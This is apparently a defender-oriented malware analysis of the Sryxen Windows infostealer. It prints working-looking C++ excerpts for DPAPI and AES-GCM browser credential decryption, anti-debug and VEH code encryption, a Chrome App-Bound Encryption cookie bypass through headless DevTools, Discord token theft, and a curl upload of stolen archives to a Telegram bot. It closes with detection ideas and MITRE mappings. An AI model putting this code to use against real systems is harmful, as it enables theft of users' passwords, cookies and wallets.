Windows Stealers: How Modern Infostealers Harvest Credentials
Windows stealers have a fundamentally different challenge than their macOS counterparts. Instead of phishing a password to unlock the Keychain, they need to navigate Windows Data Protection API (DPAPI) - Microsoft's credential protection system that ties encryption keys to user context. Run as the victim user? DPAPI decrypts automatically. Run as anyone else? The data is useless.
Sryxen, sold as MaaS, demonstrates the modern Windows stealer approach. Written in C++, it combines DPAPI decryption for traditional browser credentials with a Chrome 127+ bypass that sidesteps Google's new App-Bound Encryption - by simply launching Chrome headlessly and asking it to decrypt its own cookies via DevTools Protocol. The anti-analysis is "more sophisticated" than most commodity stealers: VEH-based code encryption means the main payload is garbage at rest, only decrypted during execution via exception handling. Six anti-debug checks. Disassembler confusion macros.
Key Characteristics:
| Attribute | Value |
|---|---|
| Target OS | Windows |
| Language | C++ |
| Architecture | x64 |
| C2 Protocol | Telegram Bot API |
| Encryption | None (direct upload) |
| Persistence | None (smash-and-grab) |
| Anti-Analysis | VEH segment encryption, anti-debug, anti-disassembly |
Attack Flow
Anti-Analysis Deep Dive
VEH-Based Segment Encryption
The most interesting anti-analysis technique is how Sryxen protects its main payload. MainBlock() - the function containing all data theft logic - is XOR-encrypted at rest and overwritten with illegal instructions. Only when called does the VEH handler decrypt it:
1// Segment_Encryption.h - The XOR key is static and embedded2unsigned char xor_key[] = {3 'Y', 'w', 'A', 'Y', 'w', 'A', 'o', 'n', 'v', 's', 'g', 'H', 'U', 'b', 'n', 'o',4 'Y', 'w', 'A', 'o', 'n', 'v', 's', 'g', 'H', 'U', 'b', 'n', 'n', 'v', 's', 'g',5 'H', 'U', 'b', 'n'6};7
The encryption/decryption cycle:
1// EncryptCodeSection - Called once at startup2void EncryptCodeSection(LPVOID address, char* originalInstructions, int SIZE_OF_FUNCTION) {3 // Save original bytes4 VxMoveMemory(originalInstructions, address, SIZE_OF_FUNCTION);56 // XOR encrypt the saved copy7 xor_encrypt((unsigned char*)originalInstructions, SIZE_OF_FUNCTION, xor_key, xor_key_size);89 // Replace function body with illegal instructions10 VirtualProtect(address, SIZE_OF_FUNCTION, PAGE_EXECUTE_READWRITE, &oldProtect);11 for (int i = 0; i < SIZE_OF_FUNCTION; i++) {12 *((char*)((uintptr_t)address + i)) = 0x1F; // Triggers EXCEPTION_ILLEGAL_INSTRUCTION13 }14 VirtualProtect(address, SIZE_OF_FUNCTION, oldProtect, &oldProtect);15}1617// VEH handler - decrypts on illegal instruction, re-encrypts on breakpoint18LONG WINAPI VEHDecryptionHandler(PEXCEPTION_POINTERS exceptions) {19 if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) {20 // Find matching function and decrypt21 xor_decrypt((unsigned char*)EncryptedFunctions[i].originalInstructions, ...);22 VxMoveMemory((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);23 // Set breakpoint at return to re-encrypt after execution24 SetBreakpoint((LPVOID)EncryptedFunctions[i].ReturnAddress);25 return EXCEPTION_CONTINUE_EXECUTION;26 }27 else if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {28 // Function finished - re-encrypt it29 EncryptCodeSection((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);30 return EXCEPTION_CONTINUE_EXECUTION;31 }32 return EXCEPTION_CONTINUE_SEARCH;33}34
Why This Matters:
- Static analysis sees garbage - the function is encrypted
- Memory dumps between calls show only encrypted bytes
- The function is only readable during active execution
- Re-encryption after return means even live debugging shows encrypted code most of the time
Weaknesses:
- XOR key is static and embedded in binary
- Pattern is recognizable (0x1F byte sequences)
- Single-step debugging through VEH handler reveals everything
Anti-Debug Checks
Six checks, each calling exit(1) on detection:
1// EntryPoint_AntiDebug.hpp2inline void RunAllAntiDebug() {3 if (NtGlobalFlag()) exit(1); // PEB->NtGlobalFlag != 0 when debugged4 if (IsDebuggerPresentAPI()) exit(1); // kernel32!IsDebuggerPresent5 if (Interrupt_3()) exit(1); // INT3 exception timing6 if (IsDebuggerPresentPEB()) exit(1); // Direct PEB->BeingDebugged check7 if (UnhandledExcepFilterTest()) exit(1); // SetUnhandledExceptionFilter behavior8 if (SharedUserData_KernelDebugger()) exit(1); // KUSER_SHARED_DATA check9}10
NtGlobalFlag Check:
When a debugger creates a process, Windows sets heap debug flags in PEB->NtGlobalFlag:
FLG_HEAP_ENABLE_TAIL_CHECK(0x10)FLG_HEAP_ENABLE_FREE_CHECK(0x20)FLG_HEAP_VALIDATE_PARAMETERS(0x40)
Combined = 0x70 when debugged, 0x00 normally.
SharedUserData:
Checks KUSER_SHARED_DATA->KdDebuggerEnabled at fixed address 0x7FFE02D4 - a kernel-level flag.
Anti-VM (Weak)
1// EntryPoint_AntiVM.hpp - Only checks for Sysmon2inline void RunAllAntiVM() {3 if (IsProcessRunning(L"sysmon.exe")) {4 exit(1);5 }6}7
This is notably weak, however understandable.
Browser Credential Theft
The DPAPI Chain
Windows browsers encrypt credentials using DPAPI. The decryption chain:
Master Key Extraction
The master key is stored in Local State as a base64-encoded, DPAPI-protected blob:
1// Crypto.cpp - GetMasterKey2std::string Crypto::GetMasterKey(const std::string& path) {3 // Parse Local State JSON4 std::ifstream file(path);5 nlohmann::json json_data = nlohmann::json::parse(file);67 // Get encrypted key: {"os_crypt": {"encrypted_key": "RFBBUEN..."}}8 std::string encrypted_key = json_data["os_crypt"]["encrypted_key"].get<std::string>();910 // Base64 decode11 encrypted_key = base64_decode(encrypted_key);1213 // Strip "DPAPI" prefix (first 5 bytes)14 encrypted_key = encrypted_key.substr(5);1516 // DPAPI decrypt - requires user context17 std::vector<unsigned char> encrypted_key_vec(encrypted_key.begin(), encrypted_key.end());18 return CryptoUnprotectData(encrypted_key_vec);19}20
Why DPAPI Works:
CryptUnprotectData() only succeeds when called by the same user who encrypted the data. Sryxen runs as the victim user, so DPAPI happily decrypts the master key. An attacker who steals the Local State file but runs as a different user gets nothing.
Password Decryption
Chromium passwords are encrypted with AES-256-GCM. The ciphertext format:
1[3-byte version][12-byte nonce][ciphertext][16-byte auth tag]2 "v10"/"v11"3
1// Crypto.cpp - AES256GCMDecrypt2std::string Crypto::AES256GCMDecrypt(const std::string& key,3 const std::vector<unsigned char>& ciphertext) {4 // Check for v10/v11 prefix: bytes 118='v', 49='1', 48='0' or 49='1'5 if (ciphertext[0] == 118 && ciphertext[1] == 49 &&6 (ciphertext[2] == 48 || ciphertext[2] == 49)) {78 // Extract nonce (12 bytes starting at offset 3)9 unsigned char nonce[12];10 VxMoveMemory(nonce, ciphertext.data() + 3, 12);1112 // Ciphertext after prefix + nonce13 const unsigned char* ciphertext_ = ciphertext.data() + 3 + 12;14 unsigned long long ciphertext_size = ciphertext.size() - 3 - 12;1516 // Decrypt using libsodium17 crypto_aead_aes256gcm_decrypt(18 decrypted.data(), &decrypted_len,19 nullptr,20 ciphertext_, ciphertext_size,21 nullptr, 0, // No AAD22 nonce,23 reinterpret_cast<const unsigned char*>(key.data())24 );2526 return std::string(decrypted.begin(), decrypted.begin() + decrypted_len);27 }2829 // Fallback for legacy format (no v10/v11 prefix) - direct DPAPI30 return CryptoUnprotectData(ciphertext);31}32
Chrome 127+ App-Bound Encryption Bypass
Chrome 127 introduced App-Bound Encryption (ABE), tying cookie encryption to the Chrome application itself. Traditional DPAPI decryption no longer works for cookies.
Sryxen's solution: don't decrypt at all. Launch Chrome headlessly with remote debugging and ask Chrome to decrypt its own cookies.
1// Cookies.cpp - Version check triggers bypass2int versionNumber = std::stoi(firstPart); // Parse major version34if (versionNumber >= 127) {5 // New Encryption - use debugging method6 BrowserCookieExtractor obj;7 obj.GetCookie(Chromium.browserPath, Chromium.browserRoot, Chromium.browserName);8 continue; // Skip traditional SQLite extraction9}10
The bypass launches Chrome with specific flags:
1// core.cpp - Launch Chrome with remote debugging2std::wstring cmdLine = L"\"" + browserPath + L"\" --headless " +3 L"--user-data-dir=\"" + userData + L"\" " +4 L"--remote-debugging-port=" + std::to_wstring(port) + L" " +5 L"--remote-allow-origins=* " +6 L"--disable-extensions --no-sandbox --disable-gpu";78CreateProcessW(browserPath.c_str(), cmdLineVec.data(), NULL, NULL, FALSE,9 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);10
Then connects via WebSocket to request decrypted cookies:
1// core.cpp - DevTools Protocol communication2// 1. Get WebSocket URL3HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/json", ...);4// Response: {"webSocketDebuggerUrl": "ws://127.0.0.1:PORT/devtools/page/..."}56// 2. Connect and request cookies7WebSocketClient ws(host, wsPort);8ws.Connect();9ws.Send(R"({"id":1,"method":"Network.getAllCookies"})");10std::string wsResponse = ws.Receive();1112// 3. Parse - cookies are already decrypted by Chrome13nlohmann::json cookieData = nlohmann::json::parse(wsResponse);14for (auto& cookie : cookieData["result"]["cookies"]) {15 std::string value = cookie["value"]; // Decrypted!16}17
Why This Works: Chrome decrypts its own cookies when accessed via DevTools Protocol. The stealer doesn't need the ABE key - Chrome handles decryption internally. The cookies never touch disk in decrypted form.
Firefox/Gecko NSS Decryption
Firefox uses Mozilla NSS library, not DPAPI:
1// nss3.hpp - Firefox credential decryption2namespace NSS {3 bool Initialize(const std::string& profilePath); // Load nss3.dll4 std::string PK11SDR_Decrypt(const std::string& dbPath, const std::string& encryptedData);5}6
Credentials are in logins.json, encrypted with a key from key4.db. The NSS PK11SDR_Decrypt function handles decryption when properly initialized with the profile path.
Browser Discovery
Sryxen uses multi-threaded BFS to find all installed browsers:
1// Paths.hpp - Browser detection2static bool IsChromiumBrowser(const fs::path& dir) {3 return fs::exists(dir / "User Data" / "Local State") ||4 (fs::exists(dir / "Local State") && fs::exists(dir / "PartnerRules"));5}67static bool IsGeckoBrowser(const fs::path& dir) {8 if (!fs::exists(dir / "Profiles")) return false;9 for (const auto& entry : fs::directory_iterator(dir)) {10 if (entry.path().extension() == L".ini") return true;11 }12 return false;13}14
Stolen Browser Data:
| Data Type | Chromium Path | Firefox Path | Encryption |
|---|---|---|---|
Passwords | Login Data | logins.json | AES-256-GCM / NSS |
Cookies | Cookies or Network/Cookies | cookies.sqlite | AES-256-GCM (ABE 127+) / None |
History | History | places.sqlite | None |
Autofill | Web Data | formhistory.sqlite | Partial |
Bookmarks | Bookmarks | places.sqlite | None |
Discord Token Theft
Discord tokens can be plaintext or encrypted with the same DPAPI + AES-256-GCM scheme:
1// Discord.cpp - Token patterns2const std::regex token_regex(R"(dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^"]*)"); // Encrypted3const std::regex normal_regex(R"(([\d\w_-]{24,26}\.[\d\w_-]{6}\.[\d\w_-]{25,110}))"); // Plain4
The dQw4w9WgXcQ prefix is Discord's marker for encrypted tokens - yes, that's the YouTube video ID for "Never Gonna Give You Up" (Rickroll).
1// Decryption for encrypted tokens2if (starts_with(encrypted_token, "dQw4w9WgXcQ")) {3 encrypted_token = base64_decode(encrypted_token.substr(12));4 token = Crypto::AES256GCMDecrypt(master_key, {encrypted_token.begin(), encrypted_token.end()});5}6
Targeted Paths:
1std::vector<std::string> predefined_paths = {2 appdatapath + R"(\discord)",3 appdatapath + R"(\discordcanary)",4 appdatapath + R"(\Lightcord)",5 appdatapath + R"(\discordptb)"6};7
Data Staging and Exfiltration
Staging Structure
All stolen data organized in %TEMP%\Sryxen\:
1%TEMP%\Sryxen\2|-- discord.txt3|-- passwords.txt4|-- cookies.txt5|-- history.txt6|-- autofill.txt7|-- bookmarks.txt8|-- Socials\9| |-- Element\10| |-- Telegram\11| |-- ...12|-- VPN\13| |-- ProtonVPN\14| |-- Surfshark\15| |-- OpenVPN\16|-- Cryptowallets\17 |-- Extensions\18 | |-- MetaMask\19 | |-- Phantom\20 |-- Exodus\21 |-- Electrum\22
Compression and Upload
1// Sryxen.cpp - Exfiltration23// Compress with PowerShell4std::string command = "powershell -Command Compress-Archive -Path \"" + folderPath +5 "\" -DestinationPath \"" + zipFileName + "\" >nul 2>&1";6system(command.c_str());78// Upload via curl to Telegram9std::string curlCommand = "curl -F \"chat_id=" + std::string(CHAT_ID) + "\" "10 + "-F \"document=@\\\"" + zipFileNameStr + "\\\"\" "11 + "https://api.telegram.org/bot" + std::string(BOT_TOKEN) + "/sendDocument";12system(curlCommand.c_str());13
Weakness: Using system() to spawn curl and PowerShell is extremely noisy. Process creation telemetry catches this trivially.
Behavioral Detection Opportunities
Chrome 127+ Bypass
- Chrome process spawned with
--headless --remote-debugging-port - Non-browser parent process launching Chrome with debugging flags
- WebSocket connections to localhost high ports from unsigned processes
Exfiltration
- PowerShell
Compress-Archivefrom non-interactive process curl.exePOST toapi.telegram.org/bot*/sendDocumentsystem()spawning curl/PowerShell in sequence
MITRE ATT&CK Mapping
| ID | Technique | Implementation |
|---|---|---|
| T1555.003 | Credentials from Web Browsers | DPAPI/AES decryption, DevTools Protocol |
| T1539 | Steal Web Session Cookie | Cookie DB theft, Chrome 127+ bypass |
| T1552.001 | Credentials In Files | Wallet files, VPN configs, Discord LevelDB |
| T1059.001 | PowerShell | Compress-Archive for ZIP |
| T1059.003 | Windows Command Shell | system() for curl |
| T1083 | File and Directory Discovery | Multi-threaded browser enumeration |
| T1005 | Data from Local System | Mass file collection |
| T1560.001 | Archive via Utility | PowerShell Compress-Archive |
| T1041 | Exfiltration Over C2 | Telegram Bot API |
| T1497.001 | System Checks | sysmon.exe detection |
| T1622 | Debugger Evasion | NtGlobalFlag, PEB, INT3, VEH |
| T1027.009 | Embedded Payloads | VEH segment encryption |
| T1106 | Native API | DPAPI via crypt32.dll |
What This Means for Detection
Sryxen's architecture reveals the arms race between browser security and credential theft. Chrome's App-Bound Encryption was supposed to stop cookie theft - Sryxen sidesteps it entirely by making Chrome decrypt its own data. File-based monitoring doesn't help because decrypted cookies never touch disk.
The VEH-based segment encryption is clever for static analysis evasion, but the behavioral patterns are loud. system() spawning curl and PowerShell, Chrome launched with debugging flags from a non-browser parent, mass SQLite access across browser directories - these are somewhat detectable at the endpoint.
But the fundamental problem remains: smash-and-grab execution. No persistence. Fast exfiltration. By the time EDR alerts fire and someone has responded, the data is already in a Telegram channel! The stolen credentials still need to be used...
This is where honey tokens change the equation. Plant monitored credentials in the locations Sryxen targets - and when Sryxen exfiltrates them alongside legitimate credentials, the tokens enter the same underground markets. So when those tokens are used you have a clear high-fidelity signal leaving you saying "hey this asset had a token that pinged, it's time to investigate".
Stealers like Sryxen are the harvesting mechanism. The real threat is downstream - when stolen credentials get used. Detect there, and the sophistication of the stealer stops mattering as much - not to say it does not matter.
Want more insights like this?
Related Articles
macOS Stealers: How Modern Infostealers Harvest Credentials
Technical analysis of macOS information stealers using Banshee as a case study. How they phish passwords, decrypt Keychains, and exfiltrate browser data.
Field Notes on Malware: The Evolution of C2 Evasion and What It Means for Detection
While malware developers continue using BOFs, shellcode, and sleep obfuscation, a capability researched and published almost 2 years ago has surprisingly not gained traction. Understanding these techniques is critical for defenders.
Modern Adversary TTPs: The Rise of 'Read Teaming'
An insider's perspective on why current security products fail to stop modern red teams and sophisticated attackers, and what security teams need to know.